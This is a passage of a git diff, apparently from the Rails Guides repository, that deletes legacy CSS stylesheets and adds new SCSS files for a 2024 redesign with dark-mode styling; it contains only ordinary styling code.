-#subCol h3.chapter img {vertical-align: text-bottom;}
-#subCol .chapters ul {margin-left: 0; margin-top: 0.5em;}
-#subCol .chapters ul li {
-  list-style: none;
-  padding: 0 0 0 1em;
-  background: url(../images/bullet.gif) no-repeat left 0.45em;
-  margin-left: 0;
-  font-size: 1em;
-  font-weight: normal;
-}
-
-#subCol li ul, li ol { margin:0 1.5em; }
-
-div.code_container {
-  background: #EEE url(../images/tab_grey.gif) no-repeat left top;
-  padding: 0.25em 1em 0.5em 48px;
-}
-
-.note {
-  background: #fff9d8 url(../images/tab_note.gif) no-repeat left top;
-  border: none;
-  padding: 1em 1em 0.25em 48px;
-  margin: 0.25em 0 1.5em 0;
-}
-
-.info {
-  background: #d5e9f6 url(../images/tab_info.gif) no-repeat left top;
-  border: none;
-  padding: 1em 1em 0.25em 48px;
-  margin: 0.25em 0 1.5em 0;
-}
-
-#mainCol div.todo {
-  background: #fff9d8 url(../images/tab_yellow.gif) no-repeat left top;
-  border: none;
-  padding: 1em 1em 0.25em 48px;
-  margin: 0.25em 0 1.5em 0;
-}
-
-.note code, .info code, .todo code {border:none; background: none; padding: 0;}
-
-#mainCol ul li {
-  list-style:none;
-  background: url(../images/grey_bullet.gif) no-repeat left 0.5em;
-  padding-left: 1em;
-  margin-left: 0;
-}
-
-#subCol .content {
-  font-size: 0.7857em;
-  line-height: 1.5em;
-}
-
-#subCol .content li {
-  font-weight: normal;
-  background: none;
-  padding: 0 0 1em;
-  font-size: 1.1667em;
-}
-
-/* Clearing
---------------------------------------- */
-
-.clearfix:after {
-  content: ".";
-  display: block;
-  height: 0;
-  clear: both;
-  visibility: hidden;
-}
-
-.clearfix {display: inline-block;}
-* html .clearfix {height: 1%;}
-.clearfix {display: block;}
-.clear { clear:both; }
-
-/* Same bottom margin for special boxes than for regular paragraphs, this way
-intermediate whitespace looks uniform. */
-div.code_container, div.important, div.caution, div.warning, div.note, div.info {
-  margin-bottom: 1.5em;
-}
-
-/* Remove bottom margin of paragraphs in special boxes, otherwise they get a
-spurious blank area below with the box background. */
-div.important p, div.caution p, div.warning p, div.note p, div.info p {
-  margin-bottom: 1em;
-}
-
-/* Edge Badge
---------------------------------------- */
-
-#edge-badge {
-  position: fixed;
-  right: 0px;
-  top: 0px;
-  z-index: 100;
-  border: none;
-}
-
-/* Foundation v2.1.4 http://foundation.zurb.com */
-/* Artfully masterminded by ZURB  */
-
-table th { font-weight: bold; }
-table td, table th { padding: 9px 10px; text-align: left; }
-
-/* Mobile */
-@media only screen and (max-width: 767px) {
-  table.responsive { margin-bottom: 0; }
-
-  .pinned { position: absolute; left: 0; top: 0; background: #fff; width: 35%; overflow: hidden; overflow-x: scroll; border-right: 1px solid #ccc; border-left: 1px solid #ccc; }
-  .pinned table { border-right: none; border-left: none; width: 100%; }
-  .pinned table th, .pinned table td { white-space: nowrap; }
-  .pinned td:last-child { border-bottom: 0; }
-
-  div.table-wrapper { position: relative; margin-bottom: 20px; overflow: hidden; border-right: 1px solid #ccc; }
-  div.table-wrapper div.scrollable table { margin-left: 35%; }
-  div.table-wrapper div.scrollable { overflow: scroll; overflow-y: hidden; }
-
-  table.responsive td, table.responsive th { position: relative; white-space: nowrap; overflow: hidden; }
-  table.responsive th:first-child, table.responsive td:first-child, table.responsive td:first-child, table.responsive.pinned td { display: none; }
-
-}
diff --git a/guides/assets/stylesheets/print.css b/guides/assets/stylesheets/print.css
deleted file mode 100644
index bdc8ec948de36..0000000000000
--- a/guides/assets/stylesheets/print.css
+++ /dev/null
@@ -1,52 +0,0 @@
-/* Guides.rubyonrails.org */
-/* Print.css */
-/* Created January 30, 2009 */
-/* Modified January 31, 2009
---------------------------------------- */
-
-body, .wrapper, .note, .info, code, #topNav, .L, .R, #frame, #container, #header, #navigation, #footer, #feature, #mainCol, #subCol, #extraCol, .content {position: static; text-align: left; text-indent: 0; background: White; color: Black; border-color: Black; width: auto; height: auto; display: block; float: none; min-height: 0; margin: 0; padding: 0;}
-
-body {
-  background: #FFF;
-  font-size: 10pt !important;
-  font-family: "Helvetica Neue", Helvetica, Arial, sans-serif;
-  line-height: 1.5;
-  color: #000;
-  padding: 0 3%;
-  }
-
-.hide, .nav {
-  display: none !important;
-  }
-
-a:link, a:visited {
-  background: transparent;
-  font-weight: bold;
-  text-decoration: underline;
-  }
-
-hr {
-  background:#ccc;
-  color:#ccc;
-  width:100%;
-  height:2px;
-  margin:2em 0;
-  padding:0;
-  border:none;
-}
-
-h1,h2,h3,h4,h5,h6 { font-family: "Helvetica Neue", Arial, "Lucida Grande", sans-serif; }
-code { font:.9em "Courier New", Monaco, Courier, monospace; display:inline}
-
-img { float:left; margin:1.5em 1.5em 1.5em 0; }
-a img { border:none; }
-
-blockquote {
-  margin:1.5em;
-  padding:1em;
-  font-style:italic;
-  font-size:.9em;
-}
-
-.small  { font-size: .9em; }
-.large  { font-size: 1.1em; }
diff --git a/guides/assets/stylesheets/reset.css b/guides/assets/stylesheets/reset.css
deleted file mode 100644
index cb14fbcc55254..0000000000000
--- a/guides/assets/stylesheets/reset.css
+++ /dev/null
@@ -1,43 +0,0 @@
-/* Guides.rubyonrails.org */
-/* Reset.css */
-/* Created January 30, 2009
---------------------------------------- */
-
-html, body, div, span, applet, object, iframe,
-h1, h2, h3, h4, h5, h6, p, blockquote, pre,
-a, abbr, acronym, address, big, cite, code,
-del, dfn, em, font, img, ins, kbd, q, s, samp,
-small, strike, strong, sub, sup, tt, var,
-b, u, i, center,
-dl, dt, dd, ol, ul, li,
-fieldset, form, label, legend,
-table, caption, tbody, tfoot, thead, tr, th, td {
-  margin: 0;
-  padding: 0;
-  border: 0;
-  outline: 0;
-  font-size: 100%;
-  background: transparent;
-}
-
-body {line-height: 1; color: black; background: white;}
-a img {border:none;}
-ins {text-decoration: none;}
-del {text-decoration: line-through;}
-
-:focus {
-  -moz-outline:0;
-  outline:0;
-  outline-offset:0;
-}
-
-/* tables still need 'cellspacing="0"' in the markup */
-table {border-collapse: collapse; border-spacing: 0;}
-caption, th, td {text-align: left; font-weight: normal;}
-
-blockquote, q {quotes: none;}
-blockquote:before, blockquote:after,
-q:before, q:after {
-  content: '';
-  content: none;
-}
diff --git a/guides/assets/stylesheets/responsive-tables.css b/guides/assets/stylesheets/responsive-tables.css
deleted file mode 100644
index f5fbcbf948958..0000000000000
--- a/guides/assets/stylesheets/responsive-tables.css
+++ /dev/null
@@ -1,50 +0,0 @@
-/* Foundation v2.1.4 http://foundation.zurb.com */
-/* Artfully masterminded by ZURB  */
-
-/* -------------------------------------------------- 
-   Table of Contents
------------------------------------------------------
-:: Shared Styles
-:: Page Name 1
-:: Page Name 2
-*/
-
-
-/* -----------------------------------------
-   Shared Styles
------------------------------------------ */
-
-table th { font-weight: bold; }
-table td, table th { padding: 9px 10px; text-align: left; }
-
-/* Mobile */
-@media only screen and (max-width: 767px) {
-	
-	table { margin-bottom: 0; }
-	
-	.pinned { position: absolute; left: 0; top: 0; background: #fff; width: 35%; overflow: hidden; overflow-x: scroll; border-right: 1px solid #ccc; border-left: 1px solid #ccc; }
-	.pinned table { border-right: none; border-left: none; width: 100%; }
-	.pinned table th, .pinned table td { white-space: nowrap; }
-	.pinned td:last-child { border-bottom: 0; }
-	
-	div.table-wrapper { position: relative; margin-bottom: 20px; overflow: hidden; border-right: 1px solid #ccc; }
-	div.table-wrapper div.scrollable table { margin-left: 35%; }
-	div.table-wrapper div.scrollable { overflow: scroll; overflow-y: hidden; }	
-	
-	table td, table th { position: relative; white-space: nowrap; overflow: hidden; }
-	table th:first-child, table td:first-child, table td:first-child, table.pinned td { display: none; }
-	
-}
-
-/* -----------------------------------------
-   Page Name 1
------------------------------------------ */
-
-
-
-
-/* -----------------------------------------
-   Page Name 2
------------------------------------------ */
-
-
diff --git a/guides/assets/stylesheets/style.css b/guides/assets/stylesheets/style.css
deleted file mode 100644
index 89b2ab885acc0..0000000000000
--- a/guides/assets/stylesheets/style.css
+++ /dev/null
@@ -1,13 +0,0 @@
-/* Guides.rubyonrails.org */
-/* Style.css */
-/* Created January 30, 2009
---------------------------------------- */
-
-/*
----------------------------------------
-Import advanced style sheet
----------------------------------------
-*/
-
-@import url("reset.css");
-@import url("main.css");
diff --git a/guides/assets/stylesheets/syntaxhighlighter/shCore.css b/guides/assets/stylesheets/syntaxhighlighter/shCore.css
deleted file mode 100644
index 7e1e199343fa5..0000000000000
--- a/guides/assets/stylesheets/syntaxhighlighter/shCore.css
+++ /dev/null
@@ -1,226 +0,0 @@
-/**
- * SyntaxHighlighter
- * http://alexgorbatchev.com/SyntaxHighlighter
- *
- * SyntaxHighlighter is donationware. If you are using it, please donate.
- * http://alexgorbatchev.com/SyntaxHighlighter/donate.html
- *
- * @version
- * 3.0.83 (July 02 2010)
- * 
- * @copyright
- * Copyright (C) 2004-2010 Alex Gorbatchev.
- *
- * @license
- * Dual licensed under the MIT and GPL licenses.
- */
-.syntaxhighlighter a,
-.syntaxhighlighter div,
-.syntaxhighlighter code,
-.syntaxhighlighter table,
-.syntaxhighlighter table td,
-.syntaxhighlighter table tr,
-.syntaxhighlighter table tbody,
-.syntaxhighlighter table thead,
-.syntaxhighlighter table caption,
-.syntaxhighlighter textarea {
-  -moz-border-radius: 0 0 0 0 !important;
-  -webkit-border-radius: 0 0 0 0 !important;
-  background: none !important;
-  border: 0 !important;
-  bottom: auto !important;
-  float: none !important;
-  height: auto !important;
-  left: auto !important;
-  line-height: 1.1em !important;
-  margin: 0 0 0.5px 0 !important;
-  outline: 0 !important;
-  overflow: visible !important;
-  padding: 0 !important;
-  position: static !important;
-  right: auto !important;
-  text-align: left !important;
-  top: auto !important;
-  vertical-align: baseline !important;
-  width: auto !important;
-  box-sizing: content-box !important;
-  font-family: "Consolas", "Bitstream Vera Sans Mono", "Courier New", Courier, monospace !important;
-  font-weight: normal !important;
-  font-style: normal !important;
-  font-size: 1em !important;
-  min-height: inherit !important;
-  min-height: auto !important;
-}
-
-.syntaxhighlighter {
-  width: 100% !important;
-  margin: 1em 0 1em 0 !important;
-  position: relative !important;
-  overflow: auto !important;
-  font-size: 1em !important;
-}
-.syntaxhighlighter.source {
-  overflow: hidden !important;
-}
-.syntaxhighlighter .bold {
-  font-weight: bold !important;
-}
-.syntaxhighlighter .italic {
-  font-style: italic !important;
-}
-.syntaxhighlighter .line {
-  white-space: pre !important;
-}
-.syntaxhighlighter table {
-  width: 100% !important;
-}
-.syntaxhighlighter table caption {
-  text-align: left !important;
-  padding: .5em 0 0.5em 1em !important;
-}
-.syntaxhighlighter table td.code {
-  width: 100% !important;
-}
-.syntaxhighlighter table td.code .container {
-  position: relative !important;
-}
-.syntaxhighlighter table td.code .container textarea {
-  box-sizing: border-box !important;
-  position: absolute !important;
-  left: 0 !important;
-  top: 0 !important;
-  width: 100% !important;
-  height: 100% !important;
-  border: none !important;
-  background: white !important;
-  padding-left: 1em !important;
-  overflow: hidden !important;
-  white-space: pre !important;
-}
-.syntaxhighlighter table td.gutter .line {
-  text-align: right !important;
-  padding: 0 0.5em 0 1em !important;
-}
-.syntaxhighlighter table td.code .line {
-  padding: 0 1em !important;
-}
-.syntaxhighlighter.nogutter td.code .container textarea, .syntaxhighlighter.nogutter td.code .line {
-  padding-left: 0em !important;
-}
-.syntaxhighlighter.show {
-  display: block !important;
-}
-.syntaxhighlighter.collapsed table {
-  display: none !important;
-}
-.syntaxhighlighter.collapsed .toolbar {
-  padding: 0.1em 0.8em 0em 0.8em !important;
-  font-size: 1em !important;
-  position: static !important;
-  width: auto !important;
-  height: auto !important;
-}
-.syntaxhighlighter.collapsed .toolbar span {
-  display: inline !important;
-  margin-right: 1em !important;
-}
-.syntaxhighlighter.collapsed .toolbar span a {
-  padding: 0 !important;
-  display: none !important;
-}
-.syntaxhighlighter.collapsed .toolbar span a.expandSource {
-  display: inline !important;
-}
-.syntaxhighlighter .toolbar {
-  position: absolute !important;
-  right: 1px !important;
-  top: 1px !important;
-  width: 11px !important;
-  height: 11px !important;
-  font-size: 10px !important;
-  z-index: 10 !important;
-}
-.syntaxhighlighter .toolbar span.title {
-  display: inline !important;
-}
-.syntaxhighlighter .toolbar a {
-  display: block !important;
-  text-align: center !important;
-  text-decoration: none !important;
-  padding-top: 1px !important;
-}
-.syntaxhighlighter .toolbar a.expandSource {
-  display: none !important;
-}
-.syntaxhighlighter.ie {
-  font-size: .9em !important;
-  padding: 1px 0 1px 0 !important;
-}
-.syntaxhighlighter.ie .toolbar {
-  line-height: 8px !important;
-}
-.syntaxhighlighter.ie .toolbar a {
-  padding-top: 0px !important;
-}
-.syntaxhighlighter.printing .line.alt1 .content,
-.syntaxhighlighter.printing .line.alt2 .content,
-.syntaxhighlighter.printing .line.highlighted .number,
-.syntaxhighlighter.printing .line.highlighted.alt1 .content,
-.syntaxhighlighter.printing .line.highlighted.alt2 .content {
-  background: none !important;
-}
-.syntaxhighlighter.printing .line .number {
-  color: #bbbbbb !important;
-}
-.syntaxhighlighter.printing .line .content {
-  color: black !important;
-}
-.syntaxhighlighter.printing .toolbar {
-  display: none !important;
-}
-.syntaxhighlighter.printing a {
-  text-decoration: none !important;
-}
-.syntaxhighlighter.printing .plain, .syntaxhighlighter.printing .plain a {
-  color: black !important;
-}
-.syntaxhighlighter.printing .comments, .syntaxhighlighter.printing .comments a {
-  color: #008200 !important;
-}
-.syntaxhighlighter.printing .string, .syntaxhighlighter.printing .string a {
-  color: blue !important;
-}
-.syntaxhighlighter.printing .keyword {
-  color: #006699 !important;
-  font-weight: bold !important;
-}
-.syntaxhighlighter.printing .preprocessor {
-  color: gray !important;
-}
-.syntaxhighlighter.printing .variable {
-  color: #aa7700 !important;
-}
-.syntaxhighlighter.printing .value {
-  color: #009900 !important;
-}
-.syntaxhighlighter.printing .functions {
-  color: #ff1493 !important;
-}
-.syntaxhighlighter.printing .constants {
-  color: #0066cc !important;
-}
-.syntaxhighlighter.printing .script {
-  font-weight: bold !important;
-}
-.syntaxhighlighter.printing .color1, .syntaxhighlighter.printing .color1 a {
-  color: gray !important;
-}
-.syntaxhighlighter.printing .color2, .syntaxhighlighter.printing .color2 a {
-  color: #ff1493 !important;
-}
-.syntaxhighlighter.printing .color3, .syntaxhighlighter.printing .color3 a {
-  color: red !important;
-}
-.syntaxhighlighter.printing .break, .syntaxhighlighter.printing .break a {
-  color: black !important;
-}
diff --git a/guides/assets/stylesheets/syntaxhighlighter/shThemeRailsGuides.css b/guides/assets/stylesheets/syntaxhighlighter/shThemeRailsGuides.css
deleted file mode 100644
index bc7afd3898b3b..0000000000000
--- a/guides/assets/stylesheets/syntaxhighlighter/shThemeRailsGuides.css
+++ /dev/null
@@ -1,116 +0,0 @@
-/**
- * Theme by fxn, took shThemeEclipse.css as starting point.
- */
-.syntaxhighlighter {
-  background-color: #eee !important;
-  font-family: "Anonymous Pro", "Inconsolata", "Menlo", "Consolas", "Bitstream Vera Sans Mono", "Courier New", monospace !important;
-  overflow-y: hidden !important;
-  overflow-x: auto !important;
-}
-.syntaxhighlighter .line.alt1 {
-  background-color: #eee !important;
-}
-.syntaxhighlighter .line.alt2 {
-  background-color: #eee !important;
-}
-.syntaxhighlighter .line.highlighted.alt1, .syntaxhighlighter .line.highlighted.alt2 {
-  background-color: #c3defe !important;
-}
-.syntaxhighlighter .line.highlighted.number {
-  color: #eee !important;
-}
-.syntaxhighlighter table caption {
-  color: #222 !important;
-}
-.syntaxhighlighter .gutter {
-  color: #787878 !important;
-}
-.syntaxhighlighter .gutter .line {
-  border-right: 3px solid #d4d0c8 !important;
-}
-.syntaxhighlighter .gutter .line.highlighted {
-  background-color: #d4d0c8 !important;
-  color: #eee !important;
-}
-.syntaxhighlighter.printing .line .content {
-  border: none !important;
-}
-.syntaxhighlighter.collapsed {
-  overflow: visible !important;
-}
-.syntaxhighlighter.collapsed .toolbar {
-  color: #3f5fbf !important;
-  background: #eee !important;
-  border: 1px solid #d4d0c8 !important;
-}
-.syntaxhighlighter.collapsed .toolbar a {
-  color: #3f5fbf !important;
-}
-.syntaxhighlighter.collapsed .toolbar a:hover {
-  color: #aa7700 !important;
-}
-.syntaxhighlighter .toolbar {
-  color: #a0a0a0 !important;
-  background: #d4d0c8 !important;
-  border: none !important;
-}
-.syntaxhighlighter .toolbar a {
-  color: #a0a0a0 !important;
-}
-.syntaxhighlighter .toolbar a:hover {
-  color: red !important;
-}
-.syntaxhighlighter .plain, .syntaxhighlighter .plain a {
-  color: #222 !important;
-}
-.syntaxhighlighter .comments, .syntaxhighlighter .comments a {
-  color: #708090 !important;
-}
-.syntaxhighlighter .string, .syntaxhighlighter .string a {
-  font-style: italic !important;
-  color: #6588A8 !important;
-}
-.syntaxhighlighter .keyword {
-  color: #64434d !important;
-}
-.syntaxhighlighter .preprocessor {
-  color: #646464 !important;
-}
-.syntaxhighlighter .variable {
-  color: #222 !important;
-}
-.syntaxhighlighter .value {
-  color: #009900 !important;
-}
-.syntaxhighlighter .functions {
-  color: #ff1493 !important;
-}
-.syntaxhighlighter .constants {
-  color: #0066cc !important;
-}
-.syntaxhighlighter .script {
-  color: #222 !important;
-  background-color: transparent !important;
-}
-.syntaxhighlighter .color1, .syntaxhighlighter .color1 a {
-  color: gray !important;
-}
-.syntaxhighlighter .color2, .syntaxhighlighter .color2 a {
-  color: #222 !important;
-  font-weight: bold !important;
-}
-.syntaxhighlighter .color3, .syntaxhighlighter .color3 a {
-  color: red !important;
-}
-
-.syntaxhighlighter .xml .keyword {
-  color: #64434d !important;
-  font-weight: normal !important;
-}
-.syntaxhighlighter .xml .color1, .syntaxhighlighter .xml .color1 a {
-  color: #7f007f !important;
-}
-.syntaxhighlighter .xml .string {
-  font-style: italic !important;
-  color: #6588A8 !important;
-}
diff --git a/guides/assets/stylesrc/_dark.scss b/guides/assets/stylesrc/_dark.scss
new file mode 100644
index 0000000000000..d4360e45ce201
--- /dev/null
+++ b/guides/assets/stylesrc/_dark.scss
@@ -0,0 +1,264 @@
+// ----------------------------------------------------------------------------
+// Dark Mode Styles for Rails Guided 2024 Redesign
+// ----------------------------------------------------------------------------
+//
+// @include-media does not handle prefers-color-scheme so we are declaring this
+// as an independent file with the overrides for dark mode.
+
+@media (prefers-color-scheme: dark) {
+  body.guide {
+
+    background-color: $gray-1000;
+    color: $text-on-darker-bg;
+
+    &::-webkit-scrollbar {
+      width: 12px;
+      background-color: transparent;
+    }
+
+    &::-webkit-scrollbar-track {
+        -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,0.3);
+        border-radius: 10px;
+        background-color: $gray-900;
+      }
+
+    &::-webkit-scrollbar-thumb {
+      background-color: $gray-500;
+        border-radius: 10px;
+        -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,0.5);
+    }
+
+    h1, h2, h3 {
+      color: $large-text-on-darker-bg;
+    }
+
+    a {
+      &:link {
+        color: $rf-brand-lightest;
+      }
+      &:hover,
+      &:active {
+        color: $rf-brand-lighter;
+      } // &:hover, &:active
+      &:visited {
+        color: $rf-brand-lightest;
+      } // &:visited
+    } // a
+
+    a.skip-link {
+      background-color: $gray-900;
+    }
+
+    h2 a, h3 a {
+      &:link,
+      &:visited {
+        color: inherit;
+      }
+    } // h2 a
+
+    table {
+      th {
+        background-color: $gray-900;
+        border-bottom: 2px solid $gray-700;
+        color: $text-on-darker-bg;
+      } // th
+
+      tr {
+        &:nth-child(even) {
+          background-color: $gray-900;
+        }
+      }
+    } // table
+
+    h4, h5, h6 {
+      a,
+      a:link,
+      a:visited {
+        color: inherit;
+      } // a, a:link, a:visited
+    } // h3
+
+    hr {
+      background: url("../images/hr_rails_white_mobile.svg") center no-repeat;
+
+      @include media('>tablet') {
+        background: url("../images/hr_rails_white.svg") center no-repeat;
+      }
+    }
+
+    pre, code {
+      background-color: $gray-900;
+      color: #fff;
+    } // pre, code
+
+    p code, ul code, li code {
+      background-color: $gray-850;
+      color: $text-on-darker-bg;
+    }
+
+    td code {
+      background-color: transparent;
+    }
+
+    h2 code, h3 code, h4 code, h5 code {
+      background-color: transparent;
+      color: #fff;
+    }
+
+    #mobile-navigation-bar {
+      background-color: $gray-900;
+      color: $gray-400;
+
+
+      .more-info-links {
+        background: $gray-1000;
+      } // .more-info-links
+
+      li {
+        border-bottom: 1px solid $gray-800;
+      } // li
+    } // #mobile-navigation-bar
+
+    header#page-header {
+      nav#feature-nav {
+        .header-logo {
+          a, a:link, a:visited {
+            color: #fff;
+          }
+          span#version-switcher {
+            color: $gray-400;
+
+            select {
+              background-color: $gray-900;
+              color: $gray-400;
+            } // select
+          } // span#version-switcher
+        } // .header-logo
+
+        ul.nav {
+          li {
+            background: $gray-1000;
+            border-bottom: 1px solid $gray-1000;
+
+            @include media('>desktop'){
+              a,
+              a:link,
+              a:visited {
+                color: $text-on-darker-bg;
+              } // a
+
+              a#home_nav {
+                background-image: url("../images/icon_house-chimney-wht.svg");
+              }
+            } // @include media('>desktop')
+
+            &:last-child {
+              // the drop down
+
+              select {
+                background-color: $gray-900;
+                color: $gray-400;
+              } // select
+            }
+          } // li
+        } // ul.nav
+      } // nav#feature-nav
+    } // header#page-header
+
+    #guides {
+      background: $gray-800;
+      color: $text-on-dark-bg;
+
+      .guides-section {
+        dd {
+          a,
+          a:link,
+          a:visited {
+            color: $text-on-dark-bg;
+          } // a
+
+          a:hover,
+          a:active {
+            color: $rf-brand-lighter;
+          } // a:hover
+        } // dd
+      } // .guides-section
+    } // #guides
+
+
+    #feature {
+      background-color: $gray-900;
+
+      @include media('>desktop') {
+        background-color: $gray-1000;
+      }
+
+      #column-side {
+        background-color: $gray-900;
+
+        ol.chapters {
+          &::-webkit-scrollbar {
+            background-color: $gray-800;
+          }
+
+          &::-webkit-scrollbar-track {
+            background-color: $gray-700;
+            border-radius: 5px;
+            box-shadow: inset 0 0 6px rgba(0,0,0,0.3);
+          }
+
+          &::-webkit-scrollbar-thumb {
+            background-image: -webkit-gradient(linear,
+                            left bottom,
+                            left top,
+                            color-stop(0.44, $rf-brand-lightest),
+                            color-stop(0.86, $rf-brand-lighter));
+            border-radius: 5px;
+            box-shadow: inset 0 0 6px rgba(0,0,0,0.5);
+          }
+          li {
+            a,
+            a:link,
+            a:visited {
+              color: inherit;
+            }
+
+            a:hover,
+            a:active {
+              color: $rf-brand-lighter;
+            } // a
+          } // li
+        } // ol
+      } // #column-side
+    } // #feature
+
+    .interstitial {
+      &.code {
+        background-color: $gray-900;
+        border: 1px solid $gray-800 !important;
+        color: $gray-200;
+      }
+      &.note,
+      &.work-in-progress,
+      &.todo {
+        border-color: $note-dark;
+        background-color: $note-bkgnd-dark;
+      }
+
+      &.info {
+        border-color: $tip-dark;
+        background-color: $tip-bkgnd-dark;
+      }
+
+      &.warning {
+        border-color: $stop-dark;
+        background-color: $stop-bkgnd-dark;
+      }
+
+      &.question {
+        border-color: $gray-600;
+        background-color: $gray-700;
+      }
+    }
+  } // body.guide
+} // @media (prefers-color-scheme: dark)
diff --git a/guides/assets/stylesrc/_main.scss b/guides/assets/stylesrc/_main.scss
new file mode 100644
index 0000000000000..8be40a7214853
--- /dev/null
+++ b/guides/assets/stylesrc/_main.scss
@@ -0,0 +1,1068 @@
+// Smooth scrolling (back-to-top etc.)
+@media (prefers-reduced-motion: no-preference) {
+  // This smooth scrolling behavior does not work in tandem with scrollIntoView
+  // for some browser-os combinations. Therefore, if JavaScript is enabled, this
+  // style is removed and the behavior is added to the back-to-top element etc.
+  html {
+    scroll-behavior: smooth;
+  }
+}
+
+// Scroll-padding allows for anchors to not hug the top of the page. This aids
+// with the visual indicator on guides pages, and works on all pages for a bit
+// of breathing room.
+html {
+  scroll-padding-top: 20px;
+}
+
+body.guide {
+  &::-webkit-scrollbar {
+    width: 12px;
+    background-color: $gray-100;
+  }
+
+  &::-webkit-scrollbar-track {
+    -webkit-box-shadow: inset 0 0 6px rgba(0, 0, 0, 0.3);
+    border-radius: 10px;
+    background-color: transparent;
+  }
+
+  &::-webkit-scrollbar-thumb {
+    border-radius: 10px;
+    -webkit-box-shadow: inset 0 0 6px rgba(0, 0, 0, 0.5);
+  }
+
+  -webkit-tap-highlight-color: rgba(38, 27, 35, 0);
+
+
+  // ----------------------------------------------------------------------------
+  // Typographic Baseline
+  // ----------------------------------------------------------------------------
+
+  :root {
+    font-family: Inter, sans-serif;
+    font-feature-settings: "liga" 1, "calt" 1; /* fix for Chrome */
+  }
+  @supports (font-variation-settings: normal) {
+    :root {
+      font-family: InterVariable, sans-serif;
+    }
+  }
+
+  font-family: Inter, sans-serif;
+  font-size: 1rem; /* 16px */
+  font-style: normal;
+  font-weight: 400;
+  line-height: 1.4;
+
+  font-feature-settings: "liga" 1;
+  @supports (font-variant-ligatures: common-ligatures) {
+    font-feature-settings: normal;
+    font-variant-ligatures: common-ligatures;
+  }
+
+  font-feature-settings: "onum" 1;
+  @supports (font-variant-numeric: oldstyle-nums) {
+    font-feature-settings: normal;
+    font-variant-numeric: oldstyle-nums;
+  }
+
+  p {
+    // Set hyphenation rules
+    hyphenate-limit-lines: 2; /* Safari */
+    -webkit-hyphenate-limit-before: 3;
+    -webkit-hyphenate-limit-after: 2;
+    hyphenate-limit-chars: 6 3 2; /* Not Safari */
+    hyphenate-limit-last: always;
+
+    margin: 0 0 0.75em 0; // Space after paragraph
+    text-align: left;
+  } // p
+
+  // Links
+
+  a {
+    &:link {
+      color: $rf-brand;
+      text-decoration: underline;
+    }
+
+    &:hover,
+    &:active {
+      color: $rf-brand-light;
+    }
+
+    &:visited {
+      color: $rf-brand-darker;
+    }
+  }
+
+  a.skip-link {
+    background-color: $gray-100;
+
+    position: absolute;
+    width: 1px;
+    height: 1px;
+    padding: 0;
+    margin: -1px;
+    overflow: hidden;
+    clip: rect(0, 0, 0, 0);
+    white-space: nowrap;
+    border-width: 0;
+
+    left: .5rem;
+    top: .5rem;
+
+    &:focus {
+      position: absolute;
+      width: auto;
+      height: auto;
+      margin: 0;
+      overflow: visible;
+      clip: auto;
+      white-space: normal;
+
+      padding: .5rem;
+      border-radius: .125rem;
+      z-index: 1;
+    }
+  }
+
+  abbr {
+    hyphens: manual;
+  }
+
+  abbr.smallcaps {
+    font-feature-settings: "smcp" 1, "c2sc" 1;
+    @supports (font-variant-caps: all-small-caps) {
+      font-feature-settings: normal;
+      font-variant-caps: all-small-caps;
+    }
+  }
+
+  // Tables
+  table {
+    border-collapse: collapse;
+    font-variant-numeric: lining-nums tabular-nums;
+    margin: 2em auto;
+    width: 100%;
+
+    caption {
+      caption-side: bottom;
+    }
+
+    th {
+      background-color: $gray-700;
+      color: #fff;
+      font-size: 0.875em;
+      padding: 0.5em;
+      text-align: left;
+    }
+
+    tr {
+      &:nth-child(even) {
+        background-color: $gray-100;
+      }
+    }
+
+    td {
+      padding: 0.5em;
+    }
+  }
+
+  .table-wrapper {
+    overflow: auto;
+    margin-bottom: 2em;
+
+    & > table {
+      margin-bottom: 0;
+    }
+  }
+
+  // Headlines
+  // TODO: media queries to increase font size, current sizes are for desktop, so drop base to mobile appropriate and MQ up twice (min width 60/120 em, minheight 30/60em)
+  h1 {
+    color: $rf-brand;
+    font-family: "Calibre", sans-serif;
+    font-size: 3rem; /* 48px */
+    font-weight: 700; /* Light */
+    line-height: 1em;
+    margin-top: 0;
+
+    @include media("<desktop") {
+      margin-top: 0.5em;
+    }
+  } // h1
+
+  h2 {
+    font-family: "Calibre", sans-serif;
+    font-size: 2.25rem; // Calibre is smaller than inter at the same size
+    font-weight: 700; /* Bold */
+
+    a,
+    a:link,
+    a:visited {
+      color: $rf-brand;
+    } // a, a:link, a:visited
+
+    code {
+      font-size: 2rem;
+      font-weight: 400;
+    }
+  } // h2
+
+  h3, h2.chapter {
+    font-size: 1.5rem; /* 24px */
+    font-weight: 600; /* Semibold */
+
+    a,
+    a:link,
+    a:visited {
+      color: $gray-900;
+    } // a, a:link, a:visited
+
+    code {
+      font-size: 1.5rem;
+      font-weight: 400;
+    }
+  } // h3
+
+  h4 {
+    font-size: 1.125rem;
+
+    code {
+      font-size: 1.125rem;
+      font-weight: 400;
+    }
+  }
+
+  h5 {
+    font-size: 0.9375rem;
+
+    code {
+      font-size: 0.9375rem;
+      font-weight: 400;
+    }
+  }
+
+  h1,
+  h2,
+  h3,
+  h4,
+  h5 {
+    a,
+    a:link {
+      text-decoration: none;
+    } // a, a:link
+
+    a:hover,
+    a:active {
+      text-decoration: underline;
+    } // a:hover, a:active
+
+    span {
+      font-weight: 400;
+    }
+  } // h1, h2, h3, h4
+
+  // Old style numbers look weird in headlines and ordered lists, so use proportional lining numbers
+  h1,
+  h2,
+  h3,
+  h4,
+  h5,
+  h6,
+  ol,
+  ol > li {
+    font-feature-settings: "kern" 1;
+    @supports (kerning: normal) {
+      font-feature-settings: normal;
+      kerning: normal;
+    }
+    font-feature-settings: "lnum" 1;
+    @supports (font-variant-numeric: lining-nums) {
+      font-feature-settings: normal;
+      font-variant-numeric: lining-nums;
+    }
+  }
+
+  // Horizontal Rule
+  hr {
+    height: 1em;
+    border: 0;
+    background: url("../images/hr_rails_mobile.svg") center no-repeat;
+    background-size: contain;
+    margin: 1em auto;
+    width: 90%;
+
+    @include media(">tablet") {
+      height: 1.5em;
+      background: url("../images/hr_rails.svg") center no-repeat;
+    }
+
+    @include media(">desktop-ultra-wide") {
+      height: 2em;
+    }
+
+    &.hide {
+      height: 0 !important;
+    }
+  }
+
+  // Definition Lists
+
+  dl {
+    margin: 0;
+
+    dt {
+      font-weight: bold;
+      font-size: 1.125rem;
+      padding: 0.125em 0 0.25em 0;
+      margin-bottom: 0.75em;
+
+      @include media("<phone-wide") {
+        font-size: 1rem;
+      } // @include media('<phone-wide')
+    } // dt
+
+    dd {
+      padding: 0.25em 0 1em;
